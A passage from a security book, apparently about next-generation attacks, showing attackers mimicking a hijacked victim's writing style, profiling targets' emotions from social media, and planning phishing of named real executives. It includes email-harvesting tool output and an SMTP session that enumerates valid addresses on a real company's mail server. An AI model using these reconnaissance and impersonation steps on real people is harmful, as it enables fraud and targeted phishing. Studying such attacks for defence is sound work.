John’s hijacked account and ask\nfor the spreadsheet. That may be blatantly obvious and may make Mary suspicious. To\nsuccessfully influence Mary into believing, without a doubt, that it is John emailing\nher, the attacker has to ensure that the outgoing email “feels like” John wrote it. The\nattacker notices the following email in John’s Sent Messages folder:\nTo: mary.white@example.com\nSubject: rewards num.\nMary,\nHow are you? Am doing great!\nSocial Identities | 215\nDownload at WoWeBook.Com\n" }, { "page_number": 232, "text": "Hey, can you pls. check if my Marriott rewards card is on my desk? Need my membership\nnum. to get the upgrade when I check-in… Will check my email again in a bit pls email\nif you find it.\nThanks!!\nJ\nFigure 8-12. John’s personal calendar on Microsoft Live\nAfter reading John’s previous correspondence with Mary, the attacker can easily get a\ngood feel for how John structures his emails. Notice how John writes “pls.” instead of\n“please” and “num.” instead of “number”. John uses “…” instead of a period (“.”)\nbetween sentences. He also has the habit of eating his I’s: “Am doing great!” and “Will\ncheck my email…”. John signs his emails with a simple “J”. This is extremely useful\ninformation to the attacker. Having learned about John’s writing style just by observing\nthis short email message, the attacker is now able to craft a more legitimate-sounding\nemail to Mary:\nTo: mary.white@example.com\nSubject: spreadsheet\nMary,\nHow goes it? Am doing well in Honolulu!\nHey, can you pls. send me the earnings spreadsheet for 2008… Am scheduled to get on\na conf call so will need it by tomorrow… pls. reply back and attach it.\nThanks!!\nJ\n216 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 233, "text": "After taking over John’s email account, the attacker was able to perform textual analysis\non John’s previously sent messages to construct an email that looks and reads like\nsomething John would write. Criminals today are not simply in the business of hijack-\ning user accounts—they want to be able to leverage the data contained within to get\naccess to information that will tangibly benefit them.\nHacking the Psyche\nIn addition to tangible information available on social networks, attackers can leverage\nthe emotional feelings individuals express on social networking applications to perform\nsocial engineering attacks with the aim of influencing and manipulating the target\nindividual.\nThe We Feel Fine project is a good representation of how feelings from\nsocial applications can be captured and visualized. The We Feel Fine\nsystem searches social spaces online for occurrences of the phrases “I\nfeel” and “I am feeling”. When it finds such a phrase, it records the\nsentence. Collected feelings are then displayed in various forms of vis-\nualization. Even though this project is not related to information secur-\nity, it is a good example of the emerging techniques and importance of\nsentiment mining from social applications being discussed in this sec-\ntion. The project is located at http://www.wefeelfine.org/.\nTo illustrate how powerful sentiment analysis can be for an attacker, let’s assume a\nsituation in which the attacker wants to perform sentiment analysis on a specific indi-\nvidual whom we will refer to as Jack Smith. We will then brainstorm how an attacker\nmay use the results of the analysis to influence Jack.\nLet’s assume that Jack has a Twitter account, a weblog on Blogger, and a Facebook\naccount that he uses frequently. The first thing the attacker must do is stitch together\nJack’s social presence online into one feed that she can analyze from the recent past to\nthe present. To achieve this, the attacker may use a service such as Yahoo! Pipes to\nconcatenate RSS feeds from Jack’s presence into one single RSS feed, as illustrated in\nFigure 8-13.\nYahoo! Pipes is a powerful tool for mashing up content from the Web\nin the form of RSS feeds. Go to http://pipes.yahoo.com/ to get the\napplication.\nNext, the attacker must construct a method to capture sentiment and visualize the\ndetails before she is able to abuse the acquired knowledge. Let’s assume the attacker is\nHacking the Psyche | 217\nDownload at WoWeBook.Com\n" }, { "page_number": 234, "text": "able to program a tool that can analyze the resultant RSS feed from Yahoo! Pipes to\nvisualize Jack’s sentiment in time. We will call this tool the emotion dashboard.\nSentiment analysis of social spaces online is an emerging science. At the\ntime of this writing, no off-the-shelf tools are available for performing\nautomated sentiment analysis of a given person’s social presence with\nthe intention of abusing the target individual’s privacy. The emotion\ndashboard tool we discuss in this section is a hypothetical example to\nshow the possibilities of sentiment analysis from an adversary’s per-\nspective, since such techniques are likely to be popular among attackers\nin the near future.\nThe attacker’s tool should be able to visualize Jack’s sentiment over time, or his emotion\npulse, as show in Figure 8-14. The line graph should move upward when the tool locates\na word or sentence that expresses positive sentiment and downward when it locates a\nword or sentence that expresses negative sentiment.\nFigure 8-14. Jack’s emotion pulse\nThe We Feel Fine project has made available a Comma-Separated Value (CSV) file that\nis a list of words that are commonly used to express feelings. This file also contains a\nhex color code next to each word to represent the feeling. The designer of a tool such\nas the emotion dashboard can leverage this file to visually represent the captured sen-\ntiment in color. For example, immediately below the line graph in Figure 8-14 is a solid\nbar that expresses the target’s cumulative sentiment, expressed as yellow (happy), blue\n(sad), or red (angry).\nFigure 8-13. Yahoo! Pipes, which an attacker can use to combine Jack’s social profile online into one\nRSS feed\n218 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 235, "text": "The CSV file is located at http://www.wefeelfine.org/data/files/feelings\n.txt.\nWord clouds are often useful for holistically determining the main categories of dis-\ncussion in a given text. A word cloud simply represents words that grow in font size as\ntheir frequency of occurrence increases. A tool such as the emotion dashboard could\nleverage the CSV file discussed previously to display words located in a given text inside\na word cloud, as shown in Figure 8-15. This will allow the user to gain more insight\ninto the sorts of feelings the target portrays as his combined RSS feed is scanned from\nthe past to the present.\nFigure 8-15. Word cloud representing Jack’s emotions\nIf an attacker is able to design the emotion dashboard visualization tool by putting\ntogether all of the items discussed previously, the tool may look like Figure 8-16.\nBy observing the results in Figure 8-16, an attacker can see that Jack’s initial state of\nmind (i.e., during the earliest recording in Jack’s RSS feed) is positive. The attacker can\nnote that the signature negative event in Jack’s psyche was caused by something that\nhad to do with the word layoff, as indicated in Figure 8-16. After opening the actual\nweblog entry the layoff event points to, let’s assume the attacker finds Jack Smith’s\nweblog discussing his disappointment over his friend being laid off from employment.\nThis is useful information to the attacker, not only because the attacker knows that\nJack’s friend was laid off, but also because it is clear that the event has negatively in-\nfluenced Jack’s psyche. The attacker is also able to note that the feelings Jack expressed\non venues other than his blog (i.e.,Twitter and Facebook), on the same day as the\nweblog entry about his friend’s layoff, are also negative (word cloud correlations:\nhandicapped, upset), even though Jack is discussing other topics. This can allow the\nattacker to hypothesize that Jack’s overall mood is negative because Jack has been\nhighly influenced by his friend’s situation. This information can allow the attacker to\nform social engineering scenarios to take advantage of Jack’s seemingly strong negative\nreaction to the situation. For example, the attacker may give Jack a call posing as a\nrecruiter, asking whether he knows of any friends who may be looking for a job, while\nsharing a disgruntled sentiment against Jack’s friend’s former employer.\nHacking the Psyche | 219\nDownload at WoWeBook.Com\n" }, { "page_number": 236, "text": "Sentiment analysis of social spaces online is an emerging science. The powerful idea\nbehind the example we discussed in this section is an attacker’s ability to analyze the\npsyche of a given target remotely, even if the target under analysis is unaware of the\nsituation. In the hypothetical example we discussed in this section, Jack may not have\nrealized how the negative news of his friend’s layoff negatively influenced his sentiment\neven when he was discussing other topics on Twitter and Facebook. In other words,\ntargeted sentiment analysis may allow attackers in the near future to find out more\nabout someone than that person knows about himself.\nSummary\nIn this chapter, we looked at how the information that millions of users voluntarily\nexpose on social networking applications can be used against them, how profiles on\nsocial applications can be abused for social engineering, and even how to break au-\nthentication on applications that have been designed to rely on the secrecy of infor-\nmation that has traditionally not been exposed publicly. We looked at examples of how\nattackers can simply look at a person’s calendar to assess the victim’s personality to\nlaunch social engineering attacks. We also looked at how microblogging channels such\nFigure 8-16. Jack Smith’s emotion dashboard\n220 | Chapter 8: Influencing Your Victims: Do What We Tell You, Please\nDownload at WoWeBook.Com\n" }, { "page_number": 237, "text": "as Twitter open up new avenues for terrorists, whose goals include the disruption of\naid and further spread of panic. Finally, we discussed the emerging science of sentiment\nanalysis of social spaces and how attackers are likely to leverage this technology in the\nfuture so that they can reveal the psyche of their victims and manipulate them with\ngreater accuracy.\nThe crafty techniques attackers employ today are not limited to mere technical targets.\nThe easier target is you, the human. You are the weakest link.\nSummary | 221\nDownload at WoWeBook.Com\n" }, { "page_number": 238, "text": "Download at WoWeBook.Com\n" }, { "page_number": 239, "text": "CHAPTER 9\nHacking Executives: Can Your CEO Spot\na Targeted Attack?\nNext-generation attackers will start to break away from traditional opportunistic at-\ntacks and begin to focus on targeting their victims. In the past, attackers were more\nopportunity-focused, stumbling on their victims by looking for targets that had a spe-\ncific vulnerability.\nIt is very likely that attackers will move away from this traditional method and begin\nworking in the opposite direction, choosing their victims and then constructing an\nattack based on their victims’ environment. Attackers are concerned with one thing—\ngenerating the most money possible with the least amount of effort—and reversing\ntheir current methods may prove beneficial to them.\nWhen attackers start to move away from traditional methods and begin to focus their\nattacks, whom will they target? Obvious targets are the executives of large corporations.\nThese are the “C Team” members of the company. Examples include chief executive\nofficers (CEOs), chief financial officers (CFOs), and chief operating officers (COOs).\nNot only are these executives in higher income brackets than other potential targets,\nbut also the value of the information on their laptops can rival the value of information\nin the corporation’s databases.\nFully Targeted Attacks Versus Opportunistic Attacks\nAttackers could choose one of two different approaches when targeting executives: an\nopportunistic approach or a fully targeted approach. Opportunistic attacks are attacks\nin which an attacker has a general idea of what or whom he wants to attack. This attack\nmethod is more in line with the way attackers currently stumble onto their victims. An\nexample of an opportunistic attack is an attacker going after a Fortune 500 company\nor HIPAA-compliant company. If the attacker comes across a vulnerability that can\nlead to exploitation, he will begin to pursue that company.\n223\nDownload at WoWeBook.Com\n" }, { "page_number": 240, "text": "Targeted attacks are attacks in which the attacker specifically chooses his target and\ndoes not give up until his target is compromised. These determined attackers are the\nmost dangerous and technically advanced. Targeted attackers choose to target execu-\ntives, and they will be the type of attacker we will focus on in this chapter.\nMotives\nIt is important to identify what would motivate an attacker to target an executive. Once\nyou understand an attacker’s motives, you can identify potential attack vectors that an\nattacker can use against an executive.\nAttackers can have different motives or a combination of the motives we’ll discuss in\nthe following subsections. It is important to note that the result of the attack is what\nmotivates an attacker, not the attack itself. An attacker may go after an executive in an\nattempt to alter the direction of the company through blackmail. Neither blackmail\nnor company direction, however, is what motivates the attacker. The attacker is using\nthese methods for financial gain.\nFinancial Gain\nThe majority of attackers are concerned with only one thing: money. These attackers\nare not the typical “kid in his mom’s basement” type of attacker. These attackers are\nvery structured and represent the next generation of attackers this book is addressing.\nThese attackers are very calculating and organized. Many publications have tied these\nattackers to organized crime.\nThe goal of a financially motivated attacker is to make as much money as possible while\nexerting the least amount of effort. These attackers are focused on monetizing their\nattacks, which enables them to continue working and developing exploits for a different\nset of targets.\nConverting information to currency\nAll information has a quantitative value. When an attacker steals credit card numbers,\na value can be placed on that data. The quantitative value can be defined as how much\na buyer is willing to pay for the stolen credit card numbers. Can a quantitative value\nbe placed on corporate secrets? Can an attacker quantify the corporate information\nthat can be stolen from an executive’s email?\nUnlike stealing bank accounts or credit card numbers and selling them to the highest\nbidder, compromising an executive forces an attacker to start using new “fencing”\nmethods. Attackers could implement strategies such as blackmail or stock manipula-\ntion to monetize their attacks on executives.\nExecutives are the most informed members of an organization, and frequently one of\nthe least technical. An executive’s devices, such as a BlackBerry or laptop, may contain\n224 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 241, "text": "information regarding intellectual property, corporate goals and agendas, emails to and\nfrom board members, and even data regarding potential acquisitions.\nOnce the attacker has collected this information, he needs to convert it to currency. An\nattacker can do this by selling the information to a competing organization, selling the\ninformation back to the company he stole it from, or investing in companies that the\ntargeted organization will acquire.\nThere can be inherent risk in doing these things. For example, if the attacker decides\nto monetize the attack by purchasing stock in a company about to be acquired, the\nattacker needs to purchase a small enough number of stocks that will enable him to\nstay under the radar of the Securities and Exchange Commission.\nThe attacker could sell the stolen information to a competing organization, as a\ncompany’s intellectual property is of value to many parties other than the originating\ncompany. Even though it is more likely that the original company would pay more for\nthe compromised data, other drivers could be influencing the attacker to sell the intel-\nlectual property to a direct competitor. In addition, the competing organization has no\nway of verifying that the information is valid, before or after receiving it.\nChoosing to sell information back to the original company carries less legal risk for the\nattacker than selling it to a third party. It is in the company’s best interest to keep its\nname out of sensational newspaper headlines. “Company X Hacked!” gives the con-\nsumer an awkward and insecure feeling that can cause a company to go out of business.\nDue to this, organizations may purchase the information from the attacker to keep the\ndata breech out of news headlines.\nVengeance\nOne of the scariest motives an attacker can have is vengeance. In this situation, the\nattacker’s motive is not financially driven; it is emotionally driven. The attacker only\nwants to cause as much pain as possible for his victim. The more the victim suffers, the\nhappier the attacker becomes.\nBeing driven by a different agenda, vengeful attackers want to alter the “mood” of the\nexecutive. It would not be in the company’s best interest to have a “moody” executive\non an earnings call taking questions from financial institutions if she is preoccupied by\nthe attacker’s agenda.\nThese attacks could be politically driven. Foreign countries may want to target execu-\ntives of another country to cause national mayhem. Imagine an executive committing\nsuicide from the extreme stress the attacker caused. What would happen if multiple\nexecutives of different organizations took their lives within a few days of each other?\nWould the population think the executives knew something they didn’t know? Could\nthis cause a national catastrophe?\nMotives | 225\nDownload at WoWeBook.Com\n" }, { "page_number": 242, "text": "Benefit and Risk\nExecutives of large organizations think very differently than the general populace. They\ntend to have a “global” view of things. Since executives need to make decisions for the\ngreater good of the company, they can feel isolated from other people. This can give\nthem an ego or a feeling of superiority.\nAn attacker can use the executive’s ego to his advantage. After compromising an ex-\necutive, an attacker may attempt to blackmail the executive directly, instead of the\ncompany. For instance, an executive of a technical company may be willing to pay\nransom to an attacker instead of looking “technically” foolish to her organization.\nBlackmailing the executive may lower the attacker’s inherent risk.\nIn addition, executives tend to be more business-oriented than security-focused. Does\nan executive open PowerPoint or Excel attachments from her email? Does an executive\nplug external USB sticks into her corporate computer? Does she click on links to web-\nsites from untrusted sources?\nInformation Gathering\nAs you have learned in previous chapters, information gathering or reconnaissance is\nthe most important step in an attack. Once an attacker identifies the executive he will\nbe attacking, he needs to gather as much information about his target as possible. He\nmay also want to identify potential members of the executive’s circle of trust.\nIdentifying Executives\nThe attacker needs to first identify a potential executive to attack. An attacker could\nuse corporate resources, investment sites, or social networking sites to help him identify\nthese employees. If an attacker wanted to identify all of the executives at O’Reilly Me-\ndia, the attacker could use an investment site such as http://investing.businessweek\n.com or a corporate resource such as http://oreilly.com.\nFigure 9-1 shows O’Reilly Media executives who were identified using http://finance\n.google.com. As you can see, the attacker now has the name and title of the CEO, COO,\nand VP of corporate communications.\nFigure 9-1. O’Reilly Media executives as identified by http://finance.google.com\n226 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 243, "text": "In Figure 9-2 the attacker has identified additional executives at O’Reilly Media using\nanother investment site, http://investing.businessweek.com. For the attacker to be suc-\ncessful, he needs to use many public resources, not just one. The attacker has identified\nmultiple executive targets at O’Reilly Media. The attacker can now begin to narrow his\nattack by choosing a specific executive to target.\nFigure 9-2. O’Reilly Media executives and board members identified by http://investing.businessweek\n.com\nThe Trusted Circle\nCompromising an executive is similar to targeting any other person. For the attacker\nto be successful, he needs to identify the attack vector that has the highest chance of\nsuccess. If he chooses the wrong attack vector and the attack fails, the executive could\nbecome aware that she is being targeted. If this happens, the attacker may choose an-\nother target. To prevent himself from “tipping his hand,” the attacker can increase his\nsuccess rate by identifying his victim’s trusted circle.\nTrusted circles are comprised of the people someone trusts implicitly. Members of a\ntrusted circle could also be people who influence the target the most. If a victim receives\nan email from a member of her trusted circle, the victim will open it without hesitation.\nViruses frequently use this method to propagate quickly. When a victim opens an in-\nfected attachment, the virus sends a copy of itself to each of the victim’s contacts. It is\neasy to understand how an attacker can also use the trusted circle to his advantage.\nIf the attacker sends an email or instant message that contains a malicious payload, the\nattacker will have a much better rate of success if the email or instant message is from\nsomeone who is in the victim’s trusted circle.\nTypically, a person has only a handful of people in her trusted circle. How can an\nattacker identify these people?\nInformation Gathering | 227\nDownload at WoWeBook.Com\n" }, { "page_number": 244, "text": "Identifying the trusted circle: Network analysis\nTo identify an executive’s trusted circle, the attacker could use a method referred to as\nnetwork analysis. We briefly touched on this idea in Chapter 8; we will elaborate on it\nhere.\nIdentifying influential contacts is critical for an attacker to be successful. He has to\nknow which of his victim’s contacts his victim is most likely to listen to.\nBasically, network analysis is a mathematical approach to identifying the most con-\nnected individuals in social networks. Social network analysis has been used in the past\nto identify individual cells and influential parties in a terrorist network. Network anal-\nysis can also help identify the most connected individual in a social network. Identifying\nthe most connected individual in the victim’s social network will help the attacker\nidentify potential candidates that could be in the victim’s trusted circle.\nTo begin, an attacker can analyze the victim’s social network. Due to the abundant use\nof social applications such as Facebook, LinkedIn, and Twitter, an attacker can data-\nmine the information that an executive has volunteered on these sites to start his net-\nwork analysis.\nThe attacker identifies a key executive of an organization, Sam, and finds that the ex-\necutive uses LinkedIn to keep in touch with colleagues. Sam has five LinkedIn contacts:\nAlice, Bart, Charlie, Dave, and Ed. The attacker wants to know which of these contacts\nhas the most influence over Sam.\nThe attacker draws a network diagram with Sam at the center, and each of the contacts\nconnected to Sam. This creates the star network shown in Figure 9-3.\nFigure 9-3. Star network with the victim, Sam, in the center\n228 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 245, "text": "The attacker then does the same for each of Sam’s connections. If any of Sam’s friends\nshare a common friend, referred to as a commonality, the friend’s line representing the\ninfluence to Sam is made thicker and the line is marked numerically with how many\nconnections the friend has with Sam. This number can be associated with the level of\ninfluence the contact has over Sam. An example of the finished network layout would\nlook like Figure 9-4.\nFigure 9-4. Network with each of Sam’s friends and their connections analyzed\nAs you can see in Figure 9-4, Ed shares three of Sam’s direct connections. Therefore,\nEd most likely has the most influence on Sam’s network. Having the most influence on\nSam’s network means Ed has a higher chance of affecting Sam; therefore, Sam may give\nmore credence to what Ed says than anyone else in his network.\nFriends, family, and colleagues\nUnlike most forms of network analysis, there are some key things an attacker needs to\nkeep in mind when it comes to analyzing his victim’s network.\nOne of these things is that the executive’s immediate family most likely won’t be in the\nexecutive’s trusted circle. Since family members rarely send an executive an email or\ninstant message due to the executive’s busy schedule, family members would make\npoor choices for the attacker to impersonate.\nThe executive’s personal friends also will rarely contact the executive through corporate\nemail, instant messaging, or other “corporate” means. Executives are too busy to use\nthese types of communication with their immediate family and friends, as it is much\neasier to pick up a phone and call them.\nInformation Gathering | 229\nDownload at WoWeBook.Com\n" }, { "page_number": 246, "text": "Knowing these things is important for an attacker to keep in mind when he is using\nnetwork analysis. Network analysis may flag family members and friends as “influen-\ntial” people in the victim’s trusted circle. But for the attack to have the maximum\nsuccess rate, the attacker should not imitate these users and may choose to remove\nthese “false positives” from the system.\nTypically, an executive’s trusted circle will include members of the board of directors,\nthe executive’s assistant, other chief executives, and potentially executives of other\ncompanies. If an attacker doesn’t have the time or resources to run a network analysis,\nhe could assume that these people are in the targeted executive’s trusted circle.\nTwitter\nTwitter is a great resource for attackers to use to gather information on targets. As we\ndiscussed earlier in the book, Twitter is a social networking application that allows\nmembers to post 140-character messages to the Internet. Twitter allows anyone to read\nthe posted messages and enables anyone to subscribe to the messages people distribute,\nreferred to as “following.” No verification system is in place to follow someone on\nTwitter.\nMany celebrities use Twitter, including Ellen DeGeneres, MC Hammer, Ryan Seacrest,\nCarson Daily, and even 50 Cent. Some celebrities have even posted their current loca-\ntion using Twitter. In addition to the obvious privacy problems, this practice also allows\nattackers to gather a variety of information by data-mining the user’s postings.\nTweetStats\nTwitter has exposed APIs to allow other developers to program web applications using\nthe data available from Twitter. TweetStats (http://www.tweetstats.com) uses the APIs\nto data-mine users’ messages (tweets) and pull “helpful” statistics from them. The in-\nformation that is data-mined includes what times and days the user tweets, which other\nTwitter users the user responds to the most, and which people the user re-tweets the\nmost often.\nSince TweetStats doesn’t verify who the user is, an attacker can run the functionality\navailable in TweetStats against any Twitter user. Using Tim O’Reilly, the executive\nfrom our earlier example, Figure 9-5 shows us that he uses the Twitter account\ntimoreilly.\nFigure 9-5. Tim O’Reilly’s Twitter account\n230 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 247, "text": "Using TweetStats, we type Tim’s account into the interface and are presented with\nmultiple statistics. We can identify the Twitter users that Tim replies to the most.\nFigure 9-6 shows that Tim replies to monkchips and dahowlett the most. Could these\nTwitter users be people in Tim’s trusted circle?\nFigure 9-6. Twitter users that Tim O’Reilly has replied to the most\nWhat about the Twitter users whom Tim re-tweets the most? On Twitter, a user has\nthe ability to re-tweet what another Twitter user has posted. Twitter users do this by\nappending an “RT” and the user’s name before the reposted message. Figure 9-7 shows\nthe users whom Tim re-tweets the most.\nFigure 9-7. Twitter users whom Tim re-tweets the most\nTweetStats is an example of how information from social sites can be harvested to\nidentify members in a victim’s trusted circle. Twitter’s normal functionality can also\nbe used to exploit a victim.\nClicking links on Twitter\nIf an attacker can persuade an executive Twitter user to trust him or begin reading his\ntweets, the attacker could compromise the executive through a disguised link.\nOne use of Twitter is for a user to click another user’s link. Due to the 140-character\nlimit, most links on Twitter are disguised using URL shortening. For example, the\nfollowing URL:\nInformation Gathering | 231\nDownload at WoWeBook.Com\n" }, { "page_number": 248, "text": "http://radar.oreilly.com/2009/06/xkcd-on-the-future-self.html\nbecomes this:\nhttp://bit.ly/Ch2dc\nURL shortening is a great way to get tweets under the 140-character limit; however,\nattackers can use URL shortening to disguise their attacks. Only the person posting the\nshortened URL knows where it will actually take you. Are you sure that http://bit.ly/\nCh2dc will take you to http://radar.oreilly.com?\nIn our earlier example, we identified that Tim O’Reilly uses the social site Twitter. What\nif Tim, along with 100 other executive Twitter users, were to see the following Twitter\nmessage:\nInteresting marketing technique that may help your business. http://bit.ly/5hXRW\nIf the executives were intrigued to click the link, the damage that could arise from this\nis mind-blowing. The attacker could have a browser zero-day attack waiting for the\nexecutives at the other end of the link, or a social engineering attack.\nWe discussed blended attacks in Chapter 4. Please refer to Chapter 4\nfor some examples of how clicking links can be damaging to a user.\nOther Social Applications\nOnce an attacker has targeted an executive, he should have a quick way to identify any\nother social applications the executive uses. Does the executive post pictures of her\nfamily on Flickr? Does she upload or comment on YouTube videos?\nNameChk.com allows an attacker to identify other social applications in which the\nvictim’s username is registered. The attacker simply enters the username that he knows\nthe executive uses and NameChk.com will determine other social web applications that\nthe executive potentially uses.\nTyping “TimOreilly” into NameChk.com identifies many other social applications that\nTim potentially uses. Figure 9-8 demonstrates that in addition to Twitter, Tim also uses\nDelicious for social bookmarking, Flickr for uploading pictures, and LinkedIn for\nkeeping in touch with professional colleagues.\nAttack Scenarios\nNow that we have covered the motives and information-gathering techniques an at-\ntacker can use to target an executive, we will identify potential attack scenarios an\nattacker can use to exploit an executive. \n232 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 249, "text": "Email Attack\nEmail attacks are the cheapest attacks to pull off against executives. They have the\npotential to be very efficient and can have a high success rate if the email is from a\nmember of the executive’s trusted circle.\nEarlier in the chapter, we demonstrated ways to identify members of an executive’s\ncorporate circle using network analysis and by harvesting social networking sites. In\nthis attack scenario, we will be using public websites to identify a member who could\nbe in the victim’s trusted circle. \nLet’s use O’Reilly Media as our target. Assuming the attacker didn’t know the CEO of\nO’Reilly Media, he could use a social networking site, such as LinkedIn, to identify\npotential victims.\nIdentifying the executive to attack\nUsing “O’Reilly” as the company search term and “CEO” as the title search term returns\n34 results. We quickly identify the profile for Tim O’Reilly, CEO of O’Reilly Media,\nas shown in Figure 9-9.\nUnfortunately for the attacker, Tim has more than 500 connections, so LinkedIn is not\ngoing to help the attacker identify potential members of Tim’s trusted circle. The at-\ntacker will have to use another method to identify the person from whom the email\nshould originate.\nFinding a potential lure\nUsing the business site http://investing.businessweek.com the attacker has identified\nsome people who may be among Tim’s trusted sources (see Figure 9-10).\nFigure 9-8. Social applications that Tim O’Reilly uses; a social application that is listed as “Taken”\nindicates that the username “TimOreilly” is registered there\nAttack Scenarios | 233\nDownload at WoWeBook.Com\n" }, { "page_number": 250, "text": "Figure 9-10. O’Reilly Media’s key executives and board of directors; an attacker can use these as\n“trusted” sources for an attack on Tim O’Reilly\nFigure 9-10 identifies four sources that the attacker could use for an email attack against\nTim. Before continuing, the attacker should uncover more information on these people.\nThe more information the attacker has on these people, the greater his chances of\nsuccess in attacking Tim.\nFigure 9-9. Tim O’Reilly’s LinkedIn profile\n234 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 251, "text": "Using LinkedIn again, the attacker begins to research more about the people (lures) he\ncan potentially imitate for this attack. The attacker identifies Bill Janeway, a member\nof the board of directors, as shown in Figure 9-11.\nFigure 9-11. Bill Janeway’s profile identified through LinkedIn\nThe attacker now has information regarding his target (Tim O’Reilly) and the lure he\nwill use to potentially phish him, as well as the generic way he will be attacking Tim\n(through an email).\nIdentifying the email address of the lure\nThe attacker now needs to identify the email address that his target will trust implicitly. \nSince the attacker has already identified a lure that will work well, he needs to determine\nBill Janeway’s email address.\nFrom Figure 9-11, the attacker has already identified that Janeway works for Warburg\nPincus. A Google search reveals that Warburg Pincus is located at the domain\nwarburgpincus.com. Using the script theharvester.py, as we demonstrated in Chap-\nter 1, the attacker identifies the following email conventions that Warburg Pincus uses:\n$ ./theHarvester.py -d warburgpincus.com -l 1000 -b google\n*************************************\n*TheHarvester Ver. 1.4b *\n*Coded by Christian Martorella *\n*Edge-Security Research *\n*cmartorella@edge-security.com *\n*************************************\nSearching for warburgpincus.com in google :\n======================================\nTotal results: 223000\nLimit: 10000\nSearching results: 0\nSearching results: 100\nSearching results: 200\nSearching results: 300\nSearching results: 400\nSearching results: 500\nSearching results: 600\nAttack Scenarios | 235\nDownload at WoWeBook.Com\n" }, { "page_number": 252, "text": "Searching results: 700\nSearching results: 800\nSearching results: 900\nSearching results: 1000\nAccounts found:\n====================\nk.smith@warburgpincus.com\nken@warburgpincus.com\nmandigo.rick@warburgpincus.com\nn.merrit@warburgpincus.com\nr.polk@warburgpincus.com\nalteri.tony@warburgpincus.com\ndave@warburgpincus.com\n====================\nIt seems that Warburg Pincus uses a few different email conventions. From the pre-\nceding code, the attacker has identified three different naming conventions that War-\nburg Pincus uses:\n• First letter of first name, dot, last name (e.g., k.smith@warburgpincus.com)\n• Last name, dot, first name (e.g., mandigo.rick@warburgpincus.com)\n• First name only (e.g., ken@warburgpincus.com)\nNow the attacker needs to verify which email address Bill Janeway uses. He compiles\na list of possible email addresses using the naming conventions he has identified. Ad-\nditionally, the attacker has to remember that Bill is short for William, and he should\nalso include those possible emails in his check.\nb.janeway@warburgpincus.com\njaneway.bill@warburgpincus.com\nbill@warburgpincus.com\nw.janeway@warburgpincus.com\njaneway.william@warburgpincus.com\nwill@warburgpincus.com\nwilliam@warburgpincus.com\nThe attacker now needs to verify whether these email addresses are valid. He could\nconstruct a phishing attack on Janeway asking him questions regarding something he\nis interested in and hoping for a response. This response will validate the email address\nthat Janeway uses. However, this requires user interaction—something the attacker\nwants to limit if he can.\nAn additional way to verify the email address is to query Warburg Pincus’s email servers\ndirectly. The attacker does this by connecting to the mail server and testing a known\nvalid email versus a known invalid email. The following code demonstrates this pro-\ncedure. The bold text represents the attacker’s input; the regular text represents the\nserver’s responses.\n236 | Chapter 9: Hacking Executives: Can Your CEO Spot a Targeted Attack?\nDownload at WoWeBook.Com\n" }, { "page_number": 253, "text": "# telnet mail.warburgpincus.com 25\nTrying 64.18.6.10...\nConnected to warburgpincus.com.s7b2.psmtp.com.\nEscape character is '^]'.\n220 Postini ESMTP 186 y6_19_2c0 ready. CA Business and Professions\nCode Section 17538.45 forbids use of this system for unsolicited\nelectronic mail advertisements.\nHELO evilattackeremail.com\n250 Postini says hello back\nMAIL FROM: \n250 Ok\nRCPT TO: \n250 Ok\nRCPT TO: \n550 5.1.1 User unknown\nIt is important to note that not all mail servers are set up this way. Some email servers\nwill say any email address is valid. Fortunately for the attacker, this email server is set\nup to aid him in his attack. The attacker now attempts to verify all of the email addresses\nthat he has determined Janeway could be using:\n# telnet mail.warburgpincus.com 25\nTrying 64.18.6.10...\nConnected to warburgpincus.com.s7b2.psmtp.com.\nEscape character is '^]'.\n220 Postini ESMTP 186 y6_19_2c0 ready. CA Business and Professions\nCode Section 17538.45 forbids use of this system for unsolicited\nelectronic mail advertisements.\nHELO evilattackeremail.com\n250 Postini says hello back\nMAIL FROM: \n250 Ok\nRCPT TO: \n550 5.1.1 User unknown\nRCPT TO: \n550 5.1.1 User unknown\nRCPT TO: \n550 5.1.1 User unknown\nRCPT TO: \n550 5.1.1 User unknown\nRCPT TO: \n250 Ok\nRCPT TO: \n550 5.1.1 User unknown\nRCPT TO: \n550 5.1.1 User unknown\nThe attacker has now concluded that the email Bill Janeway uses at warburgpincus.com\nis janeway.william@warburgpincus.com. The attacker can now begin to construct the\nemail to attempt to phish Tim O’Reilly.\nAdditionally, an attacker could attempt to social-engineer the email address. The at-\ntacker could call Warburg Pincus and explain that he needs to send Bill Janeway\nAttack Scenarios | 237\nDownload at WoWeBook.Com\n" }, { "page_number": 254, "text": "important documents and has lost his email address. This may work depending on the\ntype of securities in place at Warburg Pincus.\nConstructing the email\nThe content of the email is determined by whether the attacker wants to alert his victim\nto his attack. If the attacker wants to limit his victim’s awareness, the context of the\nemail should seem to be from the person the attacker is imitating.\nThe amount of time and energy the attacker puts into researching this will limit the\npotential of the victim being made aware of his attack. For our example, the attacker\nwould need to determine the typical communication that occurs between Bill Janeway\nand Tim O’Reilly. If the attacker does this poorly and the email doesn’t have the “feel”\nof Bill Janeway, Tim O’Reilly may be alerted to the attack.\nThe attacker could do something as simple as including the same footer that Janeway\nuses, or as intricate as writing like Janeway. A determined attacker may go to these\nlengths to seem authentic, especially if the attacker needs to have Tim interact with the\nmalicious email. However, he may not need to do this; the attacker already has some\nvalidity, since the email is from Janeway.\nAt this point, the attacker constructs the email and sends it to Tim with the malicious\npayload. Payloads can include cross-site scripting (XSS) attacks, cross-site request for-\ngery (CSRF) attacks, or a malicious attachment.\nSee “Spoofing Emails to Perform Social Engineering” on page 78 to un-\nderstand the details of how the attacker sends an email to Tim O’Reilly\nthat looks as though it is from Bill Janeway.\nTargeting the 